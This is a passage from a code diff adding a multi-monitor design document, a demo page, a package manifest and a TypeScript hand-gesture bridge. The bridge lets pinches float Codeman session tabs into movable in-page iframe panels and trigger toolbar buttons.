+protocol + cross-window session hand-off) was considered and deferred: it's the
+only path to *independent* per-monitor OS windows, but it's a much larger build
+and reintroduces the cross-window wall this design exists to avoid.
+
+---
+
+## Part A — In-page floating panels
+
+### Codeman already has the primitive
+
+`panels-ui.js` has a `.detached` "floating window": an absolutely-positioned
+`<div>` with `panel.style.top/left/width/height` and a drag handler
+(`setupMonitorDrag`) — **all in-page, no `window.open`.** The session-tab detach
+simply picked the wrong primitive (the OS-window one). Part A reuses the
+in-page one.
+
+### Concurrent session rendering — RESOLVED (2026-06-08): live floats are feasible now
+
+The main *dashboard view* renders **one active session at a time** (a single
+shared `this.terminal` opened into `#terminalContainer` in `terminal-ui.js:26`,
+swapped by `selectSession()`). But the page is **not** limited to one terminal —
+the PR #103 branch already ships **three independent in-page concurrent
+floating-content subsystems** we can reuse, so a live floating panel per session
+needs **no new Codeman rendering architecture**:
+
+1. **Teammate terminals** (`panels-ui.js` `teammateTerminals` Map +
+   `subagent-windows.js`). A `Map` of **concurrent live `new Terminal()`
+   instances**, each `terminal.open(body)`'d into a floating panel, bound to a
+   `sessionId` + tmux `paneTarget`, **seeded via REST** buffer fetch
+   (`/api/sessions/:id/teammate-pane-buffer/:pane`), **input via REST**
+   (`/api/sessions/:id/teammate-pane-input`), with lazy-mount (`_lazyPaneTarget`)
+   and `dispose()` cleanup. *This is option 2 already built and shipping.*
+2. **Log-viewer windows** (`panels-ui.js:2632`). Concurrent draggable floating
+   windows, each with its own `EventSource` **SSE stream** and lifecycle map —
+   proof of the generic "floating window + independent per-window stream"
+   pattern.
+3. **`/session/:id` solo route** (`server.ts:573`, `renderIndexHtml(soloId)`,
+   `text/event-stream` at `:633`). A full **standalone live session page** —
+   **iframe-able** — reusing the exact multi-client fan-out detach already
+   depends on. Solo mode deliberately **omits** the gesture overlay
+   (`server.ts:1010-1014`), so there's no nested-overlay problem.
+
+**The PTY multi-viewer fan-out is confirmed** (the brief's open "yes"): a session
+is addressable by multiple concurrent clients — the solo route, the teammate
+REST endpoints, and the on-tab pop-out all view the same live session.
+
+**Resolution:** skip the static-preview fallback. Build live floats directly,
+ranked by new-code cost:
+
+- **Primary — iframe the solo route.** `floatPanel(id)` =
+  `<div class="cg-float" data-id><iframe src="/session/:id"></iframe></div>`.
+  The iframe is a complete live session view (its own terminal + stream client);
+  the gesture layer moves the **div** and the iframe rides along. Lowest new
+  code; reuses proven fan-out; no terminal wiring. Trade-off: a full app shell
+  per float (heavier — fine for a few, watch memory at many).
+- **Richer alt — native teammate-style panel.** Mount a `new Terminal()` in the
+  float body, seed via the session buffer endpoint, feed via the teammate
+  stream. Native (no iframe), lighter per-float, same-document. Use if the
+  iframe feels heavy or you want tighter integration.
+
+Either way the hand only **places** the float; typing into it uses a keyboard
+(focus the iframe / native terminal) — consistent with "gesture places,
+keyboard types."
+
+### Gesture grammar (replaces the current detach path in `entry.ts`)
+
+The grab/drag/drop plumbing already exists; only the **drop action** changes.
+
+- **Grab** a `.session-tab[data-id]` (unchanged: `onGrab`, ghost-follow).
+- **Pull** past `DETACH_PULL_PX` to arm (unchanged: `grab.armed`).
+- **Drop while armed** → **no longer** `window.app.detachSession`. Instead spawn
+  an **in-page floating panel** for that session id at the drop point. New
+  method `floatPanel(id, x, y)` replacing `detach(id)`.
+- **Re-grab** a floating panel (new `PANEL_SELECTOR`, e.g. `.cg-float[data-id]`)
+  → move it; drop anywhere → it stays. This is the capability detach lost.
+- **Drop a panel back over the tab strip** (or a dock zone) → **re-dock**
+  (remove the float; session returns to a plain tab). Mirrors the `.detached` →
+  attach toggle Codeman already has.
+- **Keep `window.open` detach as a separate, deliberate verb** — e.g. a button,
+  or a distinct "throw up and off-screen" gesture — for intentionally parking a
+  session in its own OS window. It is *not* the default pinch action anymore.
+
+### `entry.ts` change surface
+
+- New state: `floats: Map<string, FloatingPanel>` (id → element + position),
+  parallel to the existing `grabs`/`taps` maps.
+- `onGrab`: extend hit-testing to also match `PANEL_SELECTOR`, so an existing
+  float can be re-grabbed (priority: panel over tab when overlapping).
+- `onDrop`: replace `if (grab.armed) this.detach(grab.id)` with
+  `this.floatPanel(...)`; add the panel re-dock branch.
+- `floatPanel(id, x, y)`: create/show the in-page panel (Part A option 1/2),
+  position it absolutely at the drop point. Idempotent per id (re-grab moves the
+  existing one, never duplicates).
+- Coordinate mapping is **already viewport-pixel based** (the click-through
+  surface maps cursor → viewport px), so it needs **no change** for spanning —
+  see Part C.
+
+---
+
+## Part C — One window spanning both monitors
+
+Once the Codeman window physically covers both displays, Part A's panels drag
+across the seam for free, because the gesture cursor is already in viewport
+pixels and the viewport now spans both monitors.
+
+### macOS setup (operational, near-zero code)
+
+1. **System Settings → Desktop & Dock → uncheck "Displays have separate
+   Spaces."** (Requires a logout/login.) This is what lets a single window
+   straddle two physical displays.
+2. Run Codeman **maximized, not fullscreen.** Browser fullscreen is *per
+   display* and will **not** span — use a maximized/borderless window dragged to
+   cover both monitors. (A kiosk/`--app` Chrome window sized to the union rect is
+   the cleanest.) **Automated by `scripts/span-codeman.sh`** — it reads the
+   display-union rect (Finder desktop bounds) and launches a **Brave-first**
+   Chromium-family `--app` window sized to it (fresh per-browser profile so the
+   geometry flags are honored; `BROWSER=` overrides — plain Chrome bounced on the
+   desk machine). One-click from the **Codeman header "multi-monitor" button**
+   (`POST /api/system/span-displays`, which spawns this script), or run it
+   directly. Step 1 + logout is still manual; the script warns if spanning isn't
+   active.
+3. Arrange the two monitors as a contiguous rectangle in Display settings so the
+   union has no vertical offset gap.
+
+### Coordinate model & the bezel seam
+
+- Enumerate displays with **`window.getScreenDetails()`** (Chrome, secure
+  context, `window-management` permission). Gives each screen's
+  `left/top/width/height/availLeft/...` in a **virtual-desktop coordinate
+  space** spanning all monitors.
+- Use it for **screen-edge snapping zones**: e.g. dropping a panel within the
+  right screen's bounds snaps it to fill that screen; the seam between the two
+  screens' rects is a "halt / boundary" zone the cursor crosses.
+- **Account for the bezel gap.** The two monitors are physically separated, but
+  the spanned window's pixels are contiguous — a panel dragged across the seam
+  visually jumps the bezel. Optional: add a dead-band at the seam x-coordinate
+  so a panel snaps to one side rather than straddling.
+- `getScreenDetails` is **only needed for snapping/zone logic**, not for basic
+  dragging — dragging works the moment the window spans. So Part C can ship in
+  two steps: (1) just span + free drag, (2) add `getScreenDetails` snapping.
+
+### Constraints to surface to the user
+
+- macOS-specific; the "separate Spaces" toggle is global and affects all apps.
+- Real fullscreen is unavailable (must run maximized).
+- A bezel-width discontinuity sits in the middle of the coordinate space.
+- `window-management` permission prompts once.
+
+---
+
+## Build phases
+
+1. ✅ **A-MVP — in-page live float, single monitor (DONE, `581fcf9`/`3e0447a`).**
+   `entry.ts` `floatSession(id, x, y)` spawns an **iframe of `/session/:id`** in a
+   `.cg-float` div (640×420) at the drop point; re-grab + move work (re-dock zone
+   still TBD). Movability restored — the live session rides inside the page. (The
+   method is named `floatSession`, not the design-sketch `floatPanel`.)
+2. ✅ **C-span — span the window (DONE, `063fd8f`/`59946b8`; validated at desk).**
+   macOS "separate Spaces" off + `scripts/span-codeman.sh` launches a maximized
+   `--app` window across the display union (Brave-first; `BROWSER=` override).
+   **Confirmed:** panels drag across the seam — viewport mapping held with zero
+   `entry.ts` change. Launchable one-click from the **Codeman header button** →
+   `POST /api/system/span-displays` (PR #103 `95b0035`), or by running the script.
+3. ⏳ **C-snap — screen-aware snapping (pending).** Add `getScreenDetails`; snap a
+   panel to the screen it's dropped on; add the seam dead-band.
+4. **A-alt (optional).** Swap the iframe float for a native teammate-style
+   `new Terminal()` panel if the iframe shell feels heavy or many floats strain
+   memory.
+
+## Open questions / verification before coding
+
+- [x] **Concurrent rendering — RESOLVED (2026-06-08).** A live session view
+  *can* be mounted into an arbitrary in-page container concurrently with the
+  main view. The PR #103 branch already ships it three ways (teammate terminals,
+  log-viewer SSE windows, the iframe-able `/session/:id` solo route); fan-out
+  confirmed. Primary path: iframe the solo route. See the resolved section above.
+- [ ] **Native-panel live feed (only if taking A-alt, not the iframe):** trace
+  the exact transport that pushes *continuous* teammate-pane output after the
+  REST buffer seed (`pendingData` flush source). The iframe path sidesteps this.
+- [ ] **`window.app.detachSession` location:** when wiring the *kept* OS-window
+  detach verb, note this method was **not found in PR #103 source** (only
+  server-side `detachSessionListeners`); it works at runtime, so confirm where
+  it's actually defined before extending it.
+- [ ] **Spanning feasibility on the actual desk setup** (monitor arrangement,
+  whether "separate Spaces" off is acceptable to the user globally).
+- [ ] **Re-dock target:** decide the re-dock gesture/zone (drop over tab strip
+  vs a dedicated dock region).
+
+## Touch-points summary
+
+| Layer | File | Change | Status |
+|-------|------|--------|--------|
+| Gesture consumer | `gesture-proto/src/codeman/entry.ts` | `detach()` → `floatSession()`; `floats` map; panel re-grab; (later) re-dock branch + `getScreenDetails` snapping | ✅ float+re-grab done (`581fcf9`/`3e0447a`); re-dock/snap pending |
+| Gesture core | `gesture-proto/src/gesture/*` | **none** — stays transport-agnostic | ✅ unchanged |
+| Codeman — launch | `src/web/routes/system-routes.ts`, `src/web/public/{index.html,panels-ui.js}`, `scripts/span-codeman.sh` | header button → `POST /api/system/span-displays` → spawn span script (bundled into repo) | ✅ PR #103 `95b0035` |
+| Codeman — caching | `src/web/server.ts` | `cacheBustAssets()` — `?v=<mtime>` on all same-origin `.js`/`.css` so frontend edits show on normal reload | ✅ PR #103 `b5ea711` |
+| Ops | macOS display settings + `scripts/span-codeman.sh` | "separate Spaces" off + re-login; Brave-first maximized spanning window | ✅ validated at desk |

packages/gesture-control/index.html

@@ -0,0 +1,208 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="UTF-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <title>Codeman Gesture Control — Phase 4</title>
+    <style>
+      :root {
+        color-scheme: dark;
+        --bg: #0b0f17;
+        --panel: #131a26;
+        --ink: #e6edf3;
+        --muted: #94a3b8;
+        --accent: #38bdf8;
+      }
+      * { box-sizing: border-box; }
+      body {
+        margin: 0;
+        font-family: ui-sans-serif, system-ui, -apple-system, sans-serif;
+        background: var(--bg);
+        color: var(--ink);
+        min-height: 100vh;
+        display: flex;
+        flex-direction: column;
+        align-items: center;
+        gap: 1rem;
+        padding: 1.5rem;
+      }
+      h1 { font-size: 1.25rem; margin: 0; font-weight: 650; }
+      .sub { color: var(--muted); font-size: 0.85rem; margin: 0; }
+
+      .stage {
+        position: relative;
+        width: min(90vw, 960px);
+        aspect-ratio: 16 / 9;
+        background: #000;
+        border-radius: 12px;
+        overflow: hidden;
+        box-shadow: 0 10px 40px rgba(0, 0, 0, 0.5);
+      }
+      /* Fullscreen: fill the display so grab targets get big. Coord mapping
+         reads the stage rect each frame, so it adapts automatically. */
+      #stage:fullscreen,
+      #stage:-webkit-full-screen {
+        width: 100vw;
+        height: 100vh;
+        max-width: none;
+        aspect-ratio: auto;
+        border-radius: 0;
+      }
+      /* Mirror the camera so it reads like a, er, mirror. */
+      #cam {
+        position: absolute;
+        inset: 0;
+        width: 100%;
+        height: 100%;
+        object-fit: cover;
+        transform: scaleX(-1);
+      }
+      /* Overlay is NOT CSS-mirrored; overlay.ts mirrors coords itself.
+         z-index 2 keeps the cursor + skeleton drawn over the tab board. */
+      #overlay {
+        position: absolute;
+        inset: 0;
+        width: 100%;
+        height: 100%;
+        pointer-events: none;
+        z-index: 2;
+      }
+
+      /* Phase 3 tab board — overlays the video; gesture-driven, no mouse. */
+      #board {
+        position: absolute;
+        inset: 0;
+        display: flex;
+        gap: 12px;
+        padding: 12px;
+        pointer-events: none;
+        z-index: 1;
+      }
+      #board .column {
+        flex: 1;
+        min-width: 0;
+        display: flex;
+        flex-direction: column;
+        background: rgba(11, 15, 23, 0.55);
+        border: 1px solid #25324a;
+        border-radius: 10px;
+        backdrop-filter: blur(3px);
+        transition: border-color 0.1s, background 0.1s;
+      }
+      #board .column.col-hot {
+        border-color: var(--accent);
+        background: rgba(56, 189, 248, 0.18);
+      }
+      #board .column > header {
+        font-size: 0.78rem;
+        font-weight: 650;
+        color: var(--muted);
+        padding: 0.5rem 0.6rem;
+        border-bottom: 1px solid #25324a;
+      }
+      #board .tablist {
+        flex: 1;
+        padding: 0.5rem;
+        display: flex;
+        flex-direction: column;
+        gap: 0.4rem;
+        overflow: hidden;
+      }
+      #board .tab {
+        background: #1b2740;
+        border: 1px solid #2c3c5c;
+        border-radius: 8px;
+        padding: 0.85rem 0.7rem;
+        min-height: 3rem;
+        display: flex;
+        align-items: center;
+        font-size: 0.95rem;
+        font-weight: 550;
+        font-variant-numeric: tabular-nums;
+        box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
+        transition: border-color 0.1s, transform 0.05s;
+      }
+      #board .tab.tab-hot {
+        border-color: var(--accent);
+        background: #22304d;
+      }
+      #board .tab.dragging {
+        position: absolute;
+        z-index: 5;
+        width: auto;
+        box-shadow: 0 12px 30px rgba(0, 0, 0, 0.55);
+        transform: scale(1.05);
+        opacity: 0.97;
+        border-color: #4ade80;
+      }
+
+      .controls { display: flex; gap: 0.75rem; align-items: center; }
+      button {
+        background: var(--accent);
+        color: #04222e;
+        border: 0;
+        border-radius: 8px;
+        padding: 0.55rem 1.1rem;
+        font-size: 0.95rem;
+        font-weight: 650;
+        cursor: pointer;
+      }
+      button:disabled { opacity: 0.4; cursor: not-allowed; }
+      button.ghost { background: var(--panel); color: var(--ink); }
+      select {
+        background: var(--panel);
+        color: var(--ink);
+        border: 1px solid #25324a;
+        border-radius: 8px;
+        padding: 0.5rem 0.75rem;
+        font-size: 0.9rem;
+        max-width: 16rem;
+      }
+      select:disabled { opacity: 0.4; cursor: not-allowed; }
+
+      .hud {
+        display: flex;
+        gap: 1.5rem;
+        background: var(--panel);
+        border-radius: 10px;
+        padding: 0.75rem 1.25rem;
+        font-variant-numeric: tabular-nums;
+        font-size: 0.9rem;
+      }
+      .hud .label { color: var(--muted); margin-right: 0.4rem; }
+      .hud b { font-weight: 650; }
+
+      #status-msg { color: var(--muted); font-size: 0.85rem; min-height: 1.2em; margin: 0; }
+    </style>
+  </head>
+  <body>
+    <h1>Codeman Gesture Control</h1>
+    <p class="sub">Phase 4 — pinch-drag tabs + discrete gesture commands. Camera feed never leaves this machine.</p>
+
+    <div class="stage" id="stage">
+      <video id="cam" autoplay muted playsinline></video>
+      <div id="board"></div>
+      <canvas id="overlay"></canvas>
+    </div>
+
+    <div class="controls">
+      <button id="start">Start camera</button>
+      <button id="stop" class="ghost" disabled>Stop</button>
+      <button id="fullscreen" class="ghost" title="Toggle fullscreen (Esc to exit)">⛶ Fullscreen</button>
+      <select id="camera" disabled title="Choose camera (populated after start)">
+        <option>Default camera</option>
+      </select>
+    </div>
+
+    <div class="hud">
+      <span><span class="label">FPS</span><b id="fps">0</b></span>
+      <span><span class="label">Hands</span><b id="hand">no</b></span>
+      <span><span class="label">Pinch</span><b id="pinch">—</b></span>
+      <span><span class="label">Gesture</span><b id="gesture">—</b></span>
+    </div>
+
+    <p id="status-msg">Click “Start camera” to begin (camera access requires a click).</p>
+
+    <script type="module" src="/src/main.ts"></script>
+  </body>
+</html>

packages/gesture-control/package.json

@@ -0,0 +1,28 @@
+{
+  "name": "codeman-gesture-control",
+  "private": true,
+  "version": "0.1.0",
+  "type": "module",
+  "description": "Jarvis-style hand-tracking input layer for the Codeman dashboard. Vendored into the Codeman repo; the Codeman bundle (src/codeman/entry.ts) is built into src/web/public/gesture/gesture-codeman.js by `npm run build:gesture` at the repo root.",
+  "scripts": {
+    "dev": "vite",
+    "preview": "vite preview",
+    "typecheck": "tsc --noEmit",
+    "build:demo": "tsc && vite build",
+    "build:codeman": "esbuild src/codeman/entry.ts --bundle --format=esm --target=es2020 --outfile=dist-codeman/gesture-codeman.js"
+  },
+  "dependencies": {
+    "@mediapipe/tasks-vision": "0.10.21"
+  },
+  "devDependencies": {
+    "esbuild": "^0.27.3",
+    "typescript": "^5.5.4",
+    "vite": "^7.3.5"
+  },
+  "homepage": "https://github.com/Ark0N/Codeman/tree/master/packages/gesture-control#readme",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/Ark0N/Codeman.git",
+    "directory": "packages/gesture-control"
+  }
+}

packages/gesture-control/src/codeman/entry.ts

@@ -0,0 +1,518 @@
+// Phase 5 — Codeman integration entry point.
+//
+// This is the *consumer* layer that replaces `demo/tabs.ts` for the real
+// Codeman dashboard. It is bundled (esbuild, MediaPipe included) into a single
+// ESM file and served by Codeman from `/gesture/gesture-codeman.js`, loaded into
+// the dashboard page when Codeman is started with `CODEMAN_GESTURE=1`.
+//
+// The gesture *core* (`../gesture/*`) is unchanged and transport-agnostic — it
+// emits coordinate-only `grab`/`drag`/`drop`. Here we map those onto Codeman's
+// real session tabs (`.session-tab[data-id]`) and toolbar buttons.
+//
+// Three interactions, all off the same pinch:
+//   • Tab "grab-to-float" — pinch a session tab, *pull it out* of the strip (a
+//     ghost follows your hand), release past a threshold → the session opens as
+//     an in-page floating panel at the drop point; a small twitch-and-release
+//     cancels (snaps back).
+//   • Panel "re-grab" — pinch an existing floating panel and move it anywhere;
+//     release over the tab strip to re-dock it (panel goes away, the tab stays).
+//     This is the capability the old OS-window detach lost.
+//   • Button "tap" — pinch over a toolbar button (Run / Run Shell) and release
+//     in place → fires the button's real click handler. Drift too far first and
+//     it's treated as a stray move, not a tap.
+//
+// Why in-page floats, not OS-window detach (decided 2026-06-08, see
+// docs/MULTIMONITOR_DESIGN.md): the hand only exists in the one page that owns
+// the camera. `window.open`/`detachSession` puts the session in a sealed OS
+// window the page can't hand-track — a detached session can never be moved
+// again, a one-way trip. A floating panel (an iframe of the session's solo
+// route `/session/:id`) stays in this page's DOM, so the hand keeps control:
+// re-grab, move across the (spanned) viewport, drop, re-dock. The OS-window
+// detach is kept for later as a *separate, deliberate* verb — no longer the pinch.
+
+import { GestureController } from '../gesture/GestureController.ts';
+import type { HandState } from '../gesture/types.ts';
+
+declare global {
+  interface Window {
+    __codemanGesture?: GestureBridge;
+  }
+}
+
+const TAB_SELECTOR = '.session-tab';
+/** An in-page floating session panel this layer spawned — re-grabbable to move. */
+const PANEL_SELECTOR = '.cg-float';
+/** The session-tab strip; dropping a moved panel over it re-docks the session. */
+const DOCK_SELECTOR = '.session-tabs';
+/** Toolbar buttons a pinch can "tap": Run (#runBtn → app.run()) and Run Shell
+ *  (.btn-shell → app.runShell()). Pinch over one and release in place to fire
+ *  it. Extend this list to expose more buttons to the gesture layer. */
+const CLICK_SELECTOR = '#runBtn, .btn-shell';
+const Z = 2147483000; // above the dashboard, below nothing that matters at the desk
+/** Floating-panel size (px). Fixed for the MVP; resize is a later affordance. */
+const FLOAT_W = 640;
+const FLOAT_H = 420;
+/** Minimum pull distance (px) from the grab point before a release floats the
+ *  tab out. Below this it's an accidental pinch and the tab snaps back. */
+const DETACH_PULL_PX = 70;
+/** If a button-pinch drifts more than this, it's a stray move, not a tap. */
+const TAP_CANCEL_PX = 45;
+
+/** First letter colours: cyan left, violet right; green while pinching. */
+const handColor = (handedness: string, pinching: boolean): string =>
+  pinching ? '#4ade80' : handedness === 'Right' ? '#a78bfa' : '#38bdf8';
+
+/** A floating in-page session panel (an iframe of `/session/:id`) the hand can
+ *  place and re-grab. Stays in this page's DOM, so it never leaves hand reach. */
+interface FloatingPanel {
+  id: string;
+  /** The `.cg-float` container element. */
+  el: HTMLElement;
+}
+
+/** Live state for one hand's in-progress grab — either a session *tab* being
+ *  pulled out into a new float, or an existing *panel* being moved/re-docked. */
+type Grab =
+  | {
+      kind: 'tab';
+      id: string;
+      tab: HTMLElement;
+      ghost: HTMLElement;
+      /** Grab origin in viewport px, to measure pull distance. */
+      ox: number;
+      oy: number;
+      /** Pulled past the float-out threshold at least once. */
+      armed: boolean;
+    }
+  | {
+      kind: 'panel';
+      id: string;
+      panel: FloatingPanel;
+      /** Cursor→panel-top-left offset at grab, so it doesn't snap when re-grabbed. */
+      dx: number;
+      dy: number;
+      /** Cursor currently over the tab strip → releasing re-docks. */
+      overDock: boolean;
+    };
+
+/** Live state for one hand pinching a toolbar button (Run / Run Shell). */
+interface Tap {
+  el: HTMLElement;
+  label: string;
+  ox: number;
+  oy: number;
+}
+
+class GestureBridge {
+  private readonly surface: HTMLDivElement;
+  private readonly canvas: HTMLCanvasElement;
+  private readonly ctx: CanvasRenderingContext2D;
+  private readonly video: HTMLVideoElement;
+  private readonly button: HTMLButtonElement;
+  private readonly camBtn: HTMLButtonElement;
+  private readonly status: HTMLSpanElement;
+  private readonly gc: GestureController;
+  private running = false;
+  /** Camera view: full-viewport dimmed background, or small corner preview. */
+  private camMode: 'full' | 'pip' = 'full';
+
+  /** Per-hand in-progress grab (a tab being pulled out, or a panel being moved). */
+  private grabs = new Map<string, Grab>();
+  /** Per-hand in-progress button pinch (fires on release if it didn't drift). */
+  private taps = new Map<string, Tap>();
+  /** Live floating panels, keyed by session id (idempotent per id). */
+  private floats = new Map<string, FloatingPanel>();
+
+  constructor() {
+    injectStyles();
+
+    // Full-viewport, click-through surface so coords map straight to viewport
+    // pixels and elementFromPoint() sees the tabs beneath, not our overlay.
+    this.surface = el('div', 'cg-surface') as HTMLDivElement;
+    this.canvas = el('canvas', 'cg-canvas') as HTMLCanvasElement;
+    this.video = el('video', 'cg-preview') as HTMLVideoElement;
+    this.video.muted = true;
+    this.video.playsInline = true;
+    this.applyCamMode();
+
+    const dock = el('div', 'cg-dock');
+    this.button = el('button', 'cg-btn') as HTMLButtonElement;
+    this.button.textContent = '🖐 Gesture';
+    this.camBtn = el('button', 'cg-btn cg-btn-icon') as HTMLButtonElement;
+    this.camBtn.textContent = '⛶';
+    this.camBtn.title = 'Toggle camera size (fullscreen / corner)';
+    this.status = el('span', 'cg-status') as HTMLSpanElement;
+    this.status.textContent = 'off';
+    dock.append(this.button, this.camBtn, this.status);
+
+    document.body.append(this.surface, this.video, this.canvas, dock);
+    this.ctx = this.canvas.getContext('2d')!;
+    this.sizeCanvas();
+    window.addEventListener('resize', () => this.sizeCanvas());
+
+    this.gc = new GestureController({
+      video: this.video,
+      surface: this.surface,
+      numHands: 1,
+      // Self-host the MediaPipe runtime + model from Codeman (same-origin) instead
+      // of the CDN, so an ad/content blocker, offline desk, or strict browser
+      // can't break startup (the CDN failure surfaced as `failed: {isTrusted}` —
+      // a resource load-error Event). Served from public/gesture/.
+      wasmBase: '/gesture/wasm',
+      modelUrl: '/gesture/gesture_recognizer.task',
+    });
+
+    this.gc.on('grab', (p) => this.onGrab(p.hand, p.x, p.y));
+    this.gc.on('drag', (p) => this.onDrag(p.hand, p.x, p.y));
+    this.gc.on('drop', (p) => this.onDrop(p.hand, p.x, p.y));
+    this.gc.on('status', ({ fps, hands }) => this.onStatus(fps, hands));
+
+    this.button.addEventListener('click', () => void this.toggle());
+    this.camBtn.addEventListener('click', () => this.toggleCamMode());
+  }
+
+  private async toggle(): Promise<void> {
+    if (this.running) {
+      this.gc.stop();
+      this.running = false;
+      this.cancelAllGrabs();
+      this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
+      this.button.classList.remove('on');
+      this.status.textContent = 'off';
+      return;
+    }
+    this.button.disabled = true;
+    this.status.textContent = 'starting…';
+    try {
+      await this.gc.start();
+      this.running = true;
+      this.button.classList.add('on');
+      this.status.textContent = 'on — pinch a tab or button';
+    } catch (err) {
+      // Surface the *real* cause: MediaPipe/Emscripten can throw a non-Error
+      // (number/string), so `(err as Error).message` was logging "undefined".
+      const msg = describeError(err);
+      this.status.textContent = `failed: ${msg}`;
+      this.status.title = msg;
+      console.error('[gesture] start failed', err);
+    } finally {
+      this.button.disabled = false;
+    }
+  }
+
+  private toggleCamMode(): void {
+    this.camMode = this.camMode === 'full' ? 'pip' : 'full';
+    this.applyCamMode();
+  }
+
+  private applyCamMode(): void {
+    this.video.classList.toggle('cg-full', this.camMode === 'full');
+    this.video.classList.toggle('cg-pip', this.camMode === 'pip');
+  }
+
+  /** Top-most element matching `sel` at a viewport point (overlays are
+   *  click-through, so elementFromPoint sees the dashboard beneath). */
+  private hitClosest(x: number, y: number, sel: string): HTMLElement | null {
+    const hit = document.elementFromPoint(x, y);
+    return (hit?.closest(sel) as HTMLElement | null) ?? null;
+  }
+
+  private onGrab(hand: string, x: number, y: number): void {
+    // An existing floating panel → re-grab to move it (priority over tabs).
+    // Make it click-through while held so elementFromPoint sees the dock zone
+    // (and other content) beneath it, and it can't re-grab itself.
+    const panelEl = this.hitClosest(x, y, PANEL_SELECTOR);
+    const panelId = panelEl?.dataset.id;
+    if (panelEl && panelId) {
+      const float = this.floats.get(panelId);
+      if (float) {
+        const rect = panelEl.getBoundingClientRect();
+        panelEl.style.pointerEvents = 'none';
+        panelEl.classList.add('cg-float-grabbed');
+        this.grabs.set(hand, {
+          kind: 'panel',
+          id: panelId,
+          panel: float,
+          dx: x - rect.left,
+          dy: y - rect.top,
+          overDock: false,
+        });
+        this.status.textContent = 'moving — drop over tabs to re-dock';
+        return;
+      }
+    }
+
+    // A session tab → grab-and-pull-out into a floating panel (ghost follows).
+    const tab = this.hitClosest(x, y, TAB_SELECTOR);
+    const id = tab?.dataset.id;
+    if (tab && id) {
+      const rect = tab.getBoundingClientRect();
+      const ghost = tab.cloneNode(true) as HTMLElement;
+      ghost.classList.add('cg-ghost');
+      ghost.removeAttribute('id');
+      ghost.style.width = `${rect.width}px`;
+      ghost.style.height = `${rect.height}px`;
+      document.body.append(ghost);
+
+      tab.classList.add('cg-grabbed');
+      this.grabs.set(hand, { kind: 'tab', id, tab, ghost, ox: x, oy: y, armed: false });
+      this.positionGhost(ghost, x, y);
+      return;
+    }
+
+    // A toolbar button (Run / Run Shell) → tap-to-fire on release.
+    const btn = this.hitClosest(x, y, CLICK_SELECTOR);
+    if (btn) {
+      const label = (btn.textContent || btn.getAttribute('title') || 'button').trim();
+      btn.classList.add('cg-tap-armed');
+      this.taps.set(hand, { el: btn, label, ox: x, oy: y });
+      this.status.textContent = `release to ${label.toLowerCase()}`;
+    }
+  }
+
+  private onDrag(hand: string, x: number, y: number): void {
+    const grab = this.grabs.get(hand);
+    if (grab?.kind === 'tab') {
+      this.positionGhost(grab.ghost, x, y);
+      const pulled = Math.hypot(x - grab.ox, y - grab.oy) >= DETACH_PULL_PX;
+      if (pulled !== grab.armed) {
+        grab.armed = pulled;
+        grab.ghost.classList.toggle('cg-armed', pulled);
+        this.status.textContent = pulled ? 'release to float out' : 'on — pinch a tab';
+      }
+      return;
+    }
+    if (grab?.kind === 'panel') {
+      this.moveFloat(grab.panel, x - grab.dx, y - grab.dy);
+      const overDock = !!this.hitClosest(x, y, DOCK_SELECTOR);
+      if (overDock !== grab.overDock) {
+        grab.overDock = overDock;
+        grab.panel.el.classList.toggle('cg-redock', overDock);
+        this.status.textContent = overDock ? 'release to re-dock' : 'moving panel';
+      }
+      return;
+    }
+    // A button pinch that drifts too far is a stray move, not a tap — cancel it.
+    const tap = this.taps.get(hand);
+    if (tap && Math.hypot(x - tap.ox, y - tap.oy) > TAP_CANCEL_PX) {
+      tap.el.classList.remove('cg-tap-armed');
+      this.taps.delete(hand);
+      this.status.textContent = 'on — pinch a tab or button';
+    }
+  }
+
+  private onDrop(hand: string, x: number, y: number): void {
+    const grab = this.grabs.get(hand);
+    if (grab?.kind === 'tab') {
+      this.grabs.delete(hand);
+      grab.ghost.remove();
+      grab.tab.classList.remove('cg-grabbed');
+      if (grab.armed) this.floatPanel(grab.id, x, y);
+      else this.flash('cancelled');
+      return;
+    }
+    if (grab?.kind === 'panel') {
+      this.grabs.delete(hand);
+      grab.panel.el.style.pointerEvents = ''; // interactive again (type into it)
+      grab.panel.el.classList.remove('cg-float-grabbed', 'cg-redock');
+      if (grab.overDock) this.redock(grab.id);
+      else this.flash('placed');
+      return;
+    }
+    // Release over the same button → fire its real click handler.
+    const tap = this.taps.get(hand);
+    if (tap) {
+      this.taps.delete(hand);
+      tap.el.classList.remove('cg-tap-armed');
+      tap.el.click(); // runs the button's onclick (app.run() / app.runShell())
+      this.flash(tap.label.toLowerCase());
+    }
+  }
+
+  /** Pop a session into an in-page floating panel (an iframe of its solo route)
+   *  centered on the drop point. Unlike OS-window detach, the panel lives in
+   *  this page's DOM, so the hand can re-grab and move it. Idempotent per id:
+   *  re-floating an existing id just repositions the panel it already has. */
+  private floatPanel(id: string, x: number, y: number): void {
+    let float = this.floats.get(id);
+    if (!float) {
+      const container = el('div', 'cg-float');
+      container.dataset.id = id;
+      const bar = el('div', 'cg-float-bar');
+      bar.textContent = `session ${id}`;
+      const frame = el('iframe', 'cg-float-frame') as HTMLIFrameElement;
+      frame.src = `/session/${encodeURIComponent(id)}`;
+      frame.title = `Session ${id}`;
+      container.append(bar, frame);
+      document.body.append(container);
+      float = { id, el: container };
+      this.floats.set(id, float);
+      this.flash('floated out');
+    } else {
+      this.flash('re-floated');
+    }
+    this.moveFloat(float, x - FLOAT_W / 2, y - FLOAT_H / 2);
+  }
+
+  /** Re-dock a floated session: drop its in-page panel. The original
+   *  `.session-tab` was never removed, so the session is simply back to plain
+   *  tab form. Mirrors Codeman's own `.detached` → attach toggle. */
+  private redock(id: string): void {
+    const float = this.floats.get(id);
+    if (!float) return;
+    float.el.remove();
+    this.floats.delete(id);
+    this.flash('re-docked');
+  }
+
+  /** Position a float by its top-left corner, clamped to stay on-screen. */
+  private moveFloat(float: FloatingPanel, left: number, top: number): void {
+    const l = Math.min(Math.max(0, left), Math.max(0, window.innerWidth - FLOAT_W));
+    const t = Math.min(Math.max(0, top), Math.max(0, window.innerHeight - FLOAT_H));
+    float.el.style.left = `${l}px`;
+    float.el.style.top = `${t}px`;
+  }
+
+  private positionGhost(ghost: HTMLElement, x: number, y: number): void {
